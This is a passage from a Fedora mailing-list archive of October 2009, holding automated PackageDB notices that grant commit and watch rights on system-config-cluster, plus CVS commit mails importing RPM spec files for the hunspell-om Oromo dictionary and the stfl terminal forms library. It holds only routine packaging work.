  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:28:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:28:55 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082855.8563410F8B5@bastion2.fedora.phx.redhat.com>

swhiteho has set the watchbugzilla acl on system-config-cluster (Fedora 11) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:28:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:28:56 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082857.05BB610F8B8@bastion2.fedora.phx.redhat.com>

swhiteho has set the watchcommits acl on system-config-cluster (Fedora 11) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:28:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:28:59 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082859.CCD8010F8BA@bastion2.fedora.phx.redhat.com>

swhiteho has set the commit acl on system-config-cluster (Fedora 11) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:29:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:29:01 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082901.7310410F8BF@bastion2.fedora.phx.redhat.com>

swhiteho has set the approveacls acl on system-config-cluster (Fedora 11) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:29:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:29:04 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082904.517A510F8C1@bastion2.fedora.phx.redhat.com>

swhiteho has set the watchbugzilla acl on system-config-cluster (Fedora 11) to Approved for swhiteho

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:29:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:29:07 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082907.A6A7F10F8C3@bastion2.fedora.phx.redhat.com>

swhiteho has set the watchcommits acl on system-config-cluster (Fedora 11) to Approved for swhiteho

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:29:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:29:08 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082908.876D010F8B2@bastion2.fedora.phx.redhat.com>

swhiteho has set the commit acl on system-config-cluster (Fedora 11) to Approved for swhiteho

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:29:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:29:10 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082910.4F94910F8CE@bastion2.fedora.phx.redhat.com>

swhiteho has set the approveacls acl on system-config-cluster (Fedora 11) to Approved for swhiteho

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:29:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:29:19 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082919.ADC1610F891@bastion2.fedora.phx.redhat.com>

swhiteho has set the watchbugzilla acl on system-config-cluster (Fedora 12) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:29:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:29:19 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082919.E89DF10F8B5@bastion2.fedora.phx.redhat.com>

swhiteho has set the watchcommits acl on system-config-cluster (Fedora 12) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:29:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:29:22 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082922.B056510F8B9@bastion2.fedora.phx.redhat.com>

swhiteho has set the commit acl on system-config-cluster (Fedora 12) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:29:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:29:23 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082923.748D210F8D2@bastion2.fedora.phx.redhat.com>

swhiteho has set the approveacls acl on system-config-cluster (Fedora 12) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:29:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:29:27 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082927.D061510F8C0@bastion2.fedora.phx.redhat.com>

swhiteho has set the watchbugzilla acl on system-config-cluster (Fedora 12) to Approved for swhiteho

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:29:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:29:28 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082928.7730010F8DC@bastion2.fedora.phx.redhat.com>

swhiteho has set the watchcommits acl on system-config-cluster (Fedora 12) to Approved for swhiteho

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:29:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:29:28 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082928.F26C210F8E1@bastion2.fedora.phx.redhat.com>

swhiteho has set the commit acl on system-config-cluster (Fedora 12) to Approved for swhiteho

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:29:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:29:31 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082931.3249C10F8C1@bastion2.fedora.phx.redhat.com>

swhiteho has set the approveacls acl on system-config-cluster (Fedora 12) to Approved for swhiteho

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From caolanm at fedoraproject.org  Thu Oct 22 08:57:52 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 22 Oct 2009 08:57:52 +0000 (UTC)
Subject: rpms/hunspell-om/devel hunspell-om.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022085752.C52CD11C008C@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/hunspell-om/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22609/devel

Modified Files:
	.cvsignore sources 
Added Files:
	hunspell-om.spec import.log 
Log Message:



--- NEW FILE hunspell-om.spec ---
Name: hunspell-om
Summary: Oromo hunspell dictionaries
%define upstreamid 20091002
Version: 0.%{upstreamid}
Release: 1%{?dist}
Group: Applications/Text
Source: http://borel.slu.edu/obair/om_ET.zip
URL: http://borel.slu.edu/crubadan/apps.html
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
License: LGPLv3+
BuildArch: noarch
Requires: hunspell

%description
Oromo hunspell dictionaries.

%prep
%setup -q -c

%build

%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT/%{_datadir}/myspell
cp -p om_ET.* $RPM_BUILD_ROOT/%{_datadir}/myspell

pushd $RPM_BUILD_ROOT/%{_datadir}/myspell/
om_ET_aliases="om_KE"
for lang in $om_ET_aliases; do
        ln -s om_ET.aff $lang.aff
        ln -s om_ET.dic $lang.dic
done

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc README_om_ET.txt
%{_datadir}/myspell/*

%changelog
* Sat Oct 17 2009 Caolan McNamara <caolanm at redhat.com> - 0.20091002-1
- latest version

* Thu Sep 10 2009 Caolan McNamara <caolanm at redhat.com> - 0.20090414-1
- initial version


--- NEW FILE import.log ---
hunspell-om-0_20091002-1_fc11:HEAD:hunspell-om-0.20091002-1.fc11.src.rpm:1256201745


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-om/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:38:53 -0000	1.1
+++ .cvsignore	22 Oct 2009 08:57:52 -0000	1.2
@@ -0,0 +1 @@
+om_ET.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-om/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:38:53 -0000	1.1
+++ sources	22 Oct 2009 08:57:52 -0000	1.2
@@ -0,0 +1 @@
+70d16c7a3ebff522a606af527ebe9ab4  om_ET.zip



From thomasj at fedoraproject.org  Thu Oct 22 09:01:28 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu, 22 Oct 2009 09:01:28 +0000 (UTC)
Subject: rpms/stfl/devel import.log, NONE, 1.1 stfl.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022090128.5D39311C0265@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/stfl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23479/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log stfl.spec 
Log Message:
* Tue Oct 20 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-7
- Removed empty %%doc
- Changed sed commands

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-6
- Changed CFLAGS again

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-5
- Better use of sed
- Fixed CFLAGS
- Use of rm instead of exclude
- Removed empty doc

* Mon Oct 05 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-4
- Removed unneeded requires
- Removed dupe docs
- removed patches and make use of sed
- fixed stfl.pc.in for x86_64

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-3
- fixed installed rpmlint output

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-2
- Added Requires: pkgconfig
- Mentioned to upstream the rpmlint warnings
- http://www.rocklinux.net/pipermail/stfl/2009-October/000115.html
- Minor spec changes

* Sun Jun 28 2009 Byron Clark <byron at theclarkfamily.name> 0.21-1
- New upstream release
- Stop placing _stfl.so in lib-dynload
- Add patch to properly create soname symlink for shared lib.

* Wed Jun 10 2009 Byron Clark <byron at theclarkfamily.name> 0.20-5
- Stop using both python_sitelib and python_sitearch
- Modify stfl-pythonpaths.patch to only use python_sitearch

* Sat Jun 6 2009 Byron Clark <byron at theclarkfamily.name> 0.20-4
- Don't explicitly require python and perl

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-3
- Use the patches that have been sent upstream

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-2
- Add the minimal docs

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-1
- Initial release




--- NEW FILE import.log ---
stfl-0_21-7_fc10:HEAD:stfl-0.21-7.fc10.src.rpm:1256201938


--- NEW FILE stfl.spec ---
%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
%{!?ruby_sitearch: %global ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"] ')}


Name:		stfl
Version:	0.21
Release:	7%{?dist}
Summary:	The Structured Terminal Forms Language/Library

Group:		System Environment/Libraries
License:	LGPLv3+
URL:		http://www.clifford.at/stfl/
Source0:	http://www.clifford.at/stfl/%{name}-%{version}.tar.gz

BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	ncurses-devel
BuildRequires:	swig
BuildRequires:	perl-devel
BuildRequires:	python-devel
BuildRequires:	ruby, ruby-devel

%description
STFL is a library which implements a curses-based widget set for text
terminals.


%package	devel
Summary:	Development files for %{name}
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}
Requires:	pkgconfig

%description	devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.


%package	perl
Summary:	Perl binding for STFL
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}
Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description	perl
Perl binding for STFL


%package	python
Summary:	Python binding for STFL
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}

%description	python
Python binding for STFL.


%package	ruby
Summary:	Ruby binding for STFL
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}
Requires:	ruby(abi) = 1.8

%description	ruby
Ruby binding for STFL.


%prep
%setup -q
## ensures that _stfl.so doesn't end up in lib-dynload
## - http://www.rocklinux.net/pipermail/stfl/2009-June/000113.html
sed -i.path \
 -e '/mkdir.*lib-dynload/d' \
 -e '/cp/s|lib-dynload||' \
 python/Makefile.*
## creates an soname symlink for the shared library
## - http://www.rocklinux.net/pipermail/stfl/2009-June/000114.html
## add the new line needed (the part starting with \n) If you know a better way with sed to do it, please educate me
sed -i.soname \
 -e 's|\(.*ln -fs.*/\)\(libstfl\.so\)$|\1\2\n\1\$(SONAME)|' \
 Makefile
## fixes undefined-non-weak-symbol rpmlint warnings
## - http://www.rocklinux.net/pipermail/stfl/2009-October/000116.html
sed -i.ldflags -e 's|\(-shared\)|\1 \$(LDLIBS)|' Makefile
## fixes libdir for other arch than x86 
## - http://www.rocklinux.net/pipermail/stfl/2009-October/000118.html
sed -i.path -e 's|libdir=.*|libdir=%{_libdir}|' stfl.pc.in
sed -i.cflags -e 's|-Os||' Makefile

%build
# building with smp flags causes random failures
export CFLAGS="%{optflags}"
make prefix=%{_prefix} libdir=%{_lib}


%install
rm -rf %{buildroot}
make install prefix=%{_prefix} libdir=%{_lib} DESTDIR=%{buildroot}
# give the shared libraries executable permissions so they get stripped
# also fixes the 0555 permissions on the perl bindings
find %{buildroot} -name '*.so' -exec chmod 755 {} ';'
# perl ignores empty .bs files
find %{buildroot} -name '*.bs' -size 0c -exec rm -f {} ';'
# fedora doesn't ship static libraries
rm -f %{buildroot}%{_libdir}/libstfl.a
## remove unneeded files
rm -f %{buildroot}%{perl_vendorarch}/example.pl
rm -f %{buildroot}%{perl_vendorarch}/auto/stfl/.packlist
rm -f %{buildroot}%{perl_archlib}/perllocal.pod

%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc README COPYING
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so
%{_libdir}/pkgconfig/stfl.pc

%files perl
%defattr(-,root,root,-)
%dir %{perl_vendorarch}/auto/stfl
%{perl_vendorarch}/*.pm
%{perl_vendorarch}/auto/stfl/*

%files python
%defattr(-,root,root,-)
%{python_sitearch}/stfl.py*
%{python_sitearch}/_stfl.so

%files ruby
%defattr(-,root,root,-)
%{ruby_sitearch}/stfl.so

%changelog
* Tue Oct 20 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-7
- Removed empty %%doc
- Changed sed commands

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-6
- Changed CFLAGS again

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-5
- Better use of sed
- Fixed CFLAGS
- Use of rm instead of exclude
- Removed empty doc

* Mon Oct 05 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-4
- Removed unneeded requires
- Removed dupe docs
- removed patches and make use of sed
- fixed stfl.pc.in for x86_64

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-3
- fixed installed rpmlint output

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-2
- Added Requires: pkgconfig
- Mentioned to upstream the rpmlint warnings
- http://www.rocklinux.net/pipermail/stfl/2009-October/000115.html
- Minor spec changes

* Sun Jun 28 2009 Byron Clark <byron at theclarkfamily.name> 0.21-1
- New upstream release
- Stop placing _stfl.so in lib-dynload
- Add patch to properly create soname symlink for shared lib.

* Wed Jun 10 2009 Byron Clark <byron at theclarkfamily.name> 0.20-5
- Stop using both python_sitelib and python_sitearch
- Modify stfl-pythonpaths.patch to only use python_sitearch

* Sat Jun 6 2009 Byron Clark <byron at theclarkfamily.name> 0.20-4
- Don't explicitly require python and perl

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-3
- Use the patches that have been sent upstream

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-2
- Add the minimal docs

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-1
- Initial release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/stfl/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:33:49 -0000	1.1
+++ .cvsignore	22 Oct 2009 09:01:24 -0000	1.2
@@ -0,0 +1 @@
+stfl-0.21.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/stfl/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:33:49 -0000	1.1
+++ sources	22 Oct 2009 09:01:24 -0000	1.2
@@ -0,0 +1 @@
+888502c3f332a0ee66e490690d79d404  stfl-0.21.tar.gz



From thomasj at fedoraproject.org  Thu Oct 22 09:03:19 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu, 22 Oct 2009 09:03:19 +0000 (UTC)
Subject: rpms/stfl/F-12 import.log, NONE, 1.1 stfl.spec, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022090319.CF5EE11C008C@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/stfl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24612/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log stfl.spec 
Log Message:
* Tue Oct 20 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-7
- Removed empty %%doc
- Changed sed commands

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-6
- Changed CFLAGS again

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-5
- Better use of sed
- Fixed CFLAGS
- Use of rm instead of exclude
- Removed empty doc

* Mon Oct 05 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-4
- Removed unneeded requires
- Removed dupe docs
- removed patches and make use of sed
- fixed stfl.pc.in for x86_64

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-3
- fixed installed rpmlint output

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-2
- Added Requires: pkgconfig
- Mentioned to upstream the rpmlint warnings
- http://www.rocklinux.net/pipermail/stfl/2009-October/000115.html
- Minor spec changes

* Sun Jun 28 2009 Byron Clark <byron at theclarkfamily.name> 0.21-1
- New upstream release
- Stop placing _stfl.so in lib-dynload
- Add patch to properly create soname symlink for shared lib.

* Wed Jun 10 2009 Byron Clark <byron at theclarkfamily.name> 0.20-5
- Stop using both python_sitelib and python_sitearch
- Modify stfl-pythonpaths.patch to only use python_sitearch

* Sat Jun 6 2009 Byron Clark <byron at theclarkfamily.name> 0.20-4
- Don't explicitly require python and perl

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-3
- Use the patches that have been sent upstream

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-2
- Add the minimal docs

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-1
- Initial release




--- NEW FILE import.log ---
stfl-0_21-7_fc10:F-12:stfl-0.21-7.fc10.src.rpm:1256202170


--- NEW FILE stfl.spec ---
%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
%{!?ruby_sitearch: %global ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"] ')}


Name:		stfl
Version:	0.21
Release:	7%{?dist}
Summary:	The Structured Terminal Forms Language/Library

Group:		System Environment/Libraries
License:	LGPLv3+
URL:		http://www.clifford.at/stfl/
Source0:	http://www.clifford.at/stfl/%{name}-%{version}.tar.gz

BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	ncurses-devel
BuildRequires:	swig
BuildRequires:	perl-devel
BuildRequires:	python-devel
BuildRequires:	ruby, ruby-devel

%description
STFL is a library which implements a curses-based widget set for text
terminals.


%package	devel
Summary:	Development files for %{name}
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}
Requires:	pkgconfig

%description	devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.


%package	perl
Summary:	Perl binding for STFL
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}
Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description	perl
Perl binding for STFL


%package	python
Summary:	Python binding for STFL
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}

%description	python
Python binding for STFL.


%package	ruby
Summary:	Ruby binding for STFL
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}
Requires:	ruby(abi) = 1.8

%description	ruby
Ruby binding for STFL.


%prep
%setup -q
## ensures that _stfl.so doesn't end up in lib-dynload
## - http://www.rocklinux.net/pipermail/stfl/2009-June/000113.html
sed -i.path \
 -e '/mkdir.*lib-dynload/d' \
 -e '/cp/s|lib-dynload||' \
 python/Makefile.*
## creates an soname symlink for the shared library
## - http://www.rocklinux.net/pipermail/stfl/2009-June/000114.html
## add the new line needed (the part starting with \n) If you know a better way with sed to do it, please educate me
sed -i.soname \
 -e 's|\(.*ln -fs.*/\)\(libstfl\.so\)$|\1\2\n\1\$(SONAME)|' \
 Makefile
## fixes undefined-non-weak-symbol rpmlint warnings
## - http://www.rocklinux.net/pipermail/stfl/2009-October/000116.html
sed -i.ldflags -e 's|\(-shared\)|\1 \$(LDLIBS)|' Makefile
## fixes libdir for other arch than x86 
## - http://www.rocklinux.net/pipermail/stfl/2009-October/000118.html
sed -i.path -e 's|libdir=.*|libdir=%{_libdir}|' stfl.pc.in
sed -i.cflags -e 's|-Os||' Makefile

%build
# building with smp flags causes random failures
export CFLAGS="%{optflags}"
make prefix=%{_prefix} libdir=%{_lib}


%install
rm -rf %{buildroot}
make install prefix=%{_prefix} libdir=%{_lib} DESTDIR=%{buildroot}
# give the shared libraries executable permissions so they get stripped
# also fixes the 0555 permissions on the perl bindings
find %{buildroot} -name '*.so' -exec chmod 755 {} ';'
# perl ignores empty .bs files
find %{buildroot} -name '*.bs' -size 0c -exec rm -f {} ';'
# fedora doesn't ship static libraries
rm -f %{buildroot}%{_libdir}/libstfl.a
## remove unneeded files
rm -f %{buildroot}%{perl_vendorarch}/example.pl
rm -f %{buildroot}%{perl_vendorarch}/auto/stfl/.packlist
rm -f %{buildroot}%{perl_archlib}/perllocal.pod

%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc README COPYING
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so
%{_libdir}/pkgconfig/stfl.pc

%files perl
%defattr(-,root,root,-)
%dir %{perl_vendorarch}/auto/stfl
%{perl_vendorarch}/*.pm
%{perl_vendorarch}/auto/stfl/*

%files python
%defattr(-,root,root,-)
%{python_sitearch}/stfl.py*
%{python_sitearch}/_stfl.so

%files ruby
%defattr(-,root,root,-)
%{ruby_sitearch}/stfl.so

%changelog
* Tue Oct 20 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-7
- Removed empty %%doc
- Changed sed commands

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-6
- Changed CFLAGS again

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-5
- Better use of sed
- Fixed CFLAGS
- Use of rm instead of exclude
- Removed empty doc

* Mon Oct 05 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-4
- Removed unneeded requires
- Removed dupe docs
- removed patches and make use of sed
- fixed stfl.pc.in for x86_64

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-3
- fixed installed rpmlint output

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-2
- Added Requires: pkgconfig
- Mentioned to upstream the rpmlint warnings
- http://www.rocklinux.net/pipermail/stfl/2009-October/000115.html
- Minor spec changes

* Sun Jun 28 2009 Byron Clark <byron at theclarkfamily.name> 0.21-1
- New upstream release
- Stop placing _stfl.so in lib-dynload
- Add patch to properly create soname symlink for shared lib.

* Wed Jun 10 2009 Byron Clark <byron at theclarkfamily.name> 0.20-5
- Stop using both python_sitelib and python_sitearch
- Modify stfl-pythonpaths.patch to only use python_sitearch

* Sat Jun 6 2009 Byron Clark <byron at theclarkfamily.name> 0.20-4
- Don't explicitly require python and perl

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-3
- Use the patches that have been sent upstream

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-2
- Add the minimal docs

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-1
- Initial release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/stfl/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:33:49 -0000	1.1
+++ .cvsignore	22 Oct 2009 09:03:19 -0000	1.2
@@ -0,0 +1 @@
+stfl-0.21.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/stfl/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:33:49 -0000	1.1
+++ sources	22 Oct 2009 09:03:19 -0000	1.2
@@ -0,0 +1 @@
+888502c3f332a0ee66e490690d79d404  stfl-0.21.tar.gz



From thomasj at fedoraproject.org  Thu Oct 22 09:05:44 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu, 22 Oct 2009 09:05:44 +0000 (UTC)
Subject: rpms/stfl/F-11 import.log, NONE, 1.1 stfl.spec, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022090544.0641011C008C@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/stfl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25065/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log stfl.spec 
Log Message:
* Tue Oct 20 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-7
- Removed empty %%doc
- Changed sed commands

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-6
- Changed CFLAGS again

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-5
- Better use of sed
- Fixed CFLAGS
- Use of rm instead of exclude
- Removed empty doc

* Mon Oct 05 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-4
- Removed unneeded requires
- Removed dupe docs
- removed patches and make use of sed
- fixed stfl.pc.in for x86_64

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-3
- fixed installed rpmlint output

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-2
- Added Requires: pkgconfig
- Mentioned to upstream the rpmlint warnings
- http://www.rocklinux.net/pipermail/stfl/2009-October/000115.html
- Minor spec changes

* Sun Jun 28 2009 Byron Clark <byron at theclarkfamily.name> 0.21-1
- New upstream release
- Stop placing _stfl.so in lib-dynload
- Add patch to properly create soname symlink for shared lib.

* Wed Jun 10 2009 Byron Clark <byron at theclarkfamily.name> 0.20-5
- Stop using both python_sitelib and python_sitearch
- Modify stfl-pythonpaths.patch to only use python_sitearch

* Sat Jun 6 2009 Byron Clark <byron at theclarkfamily.name> 0.20-4
- Don't explicitly require python and perl

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-3
- Use the patches that have been sent upstream

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-2
- Add the minimal docs

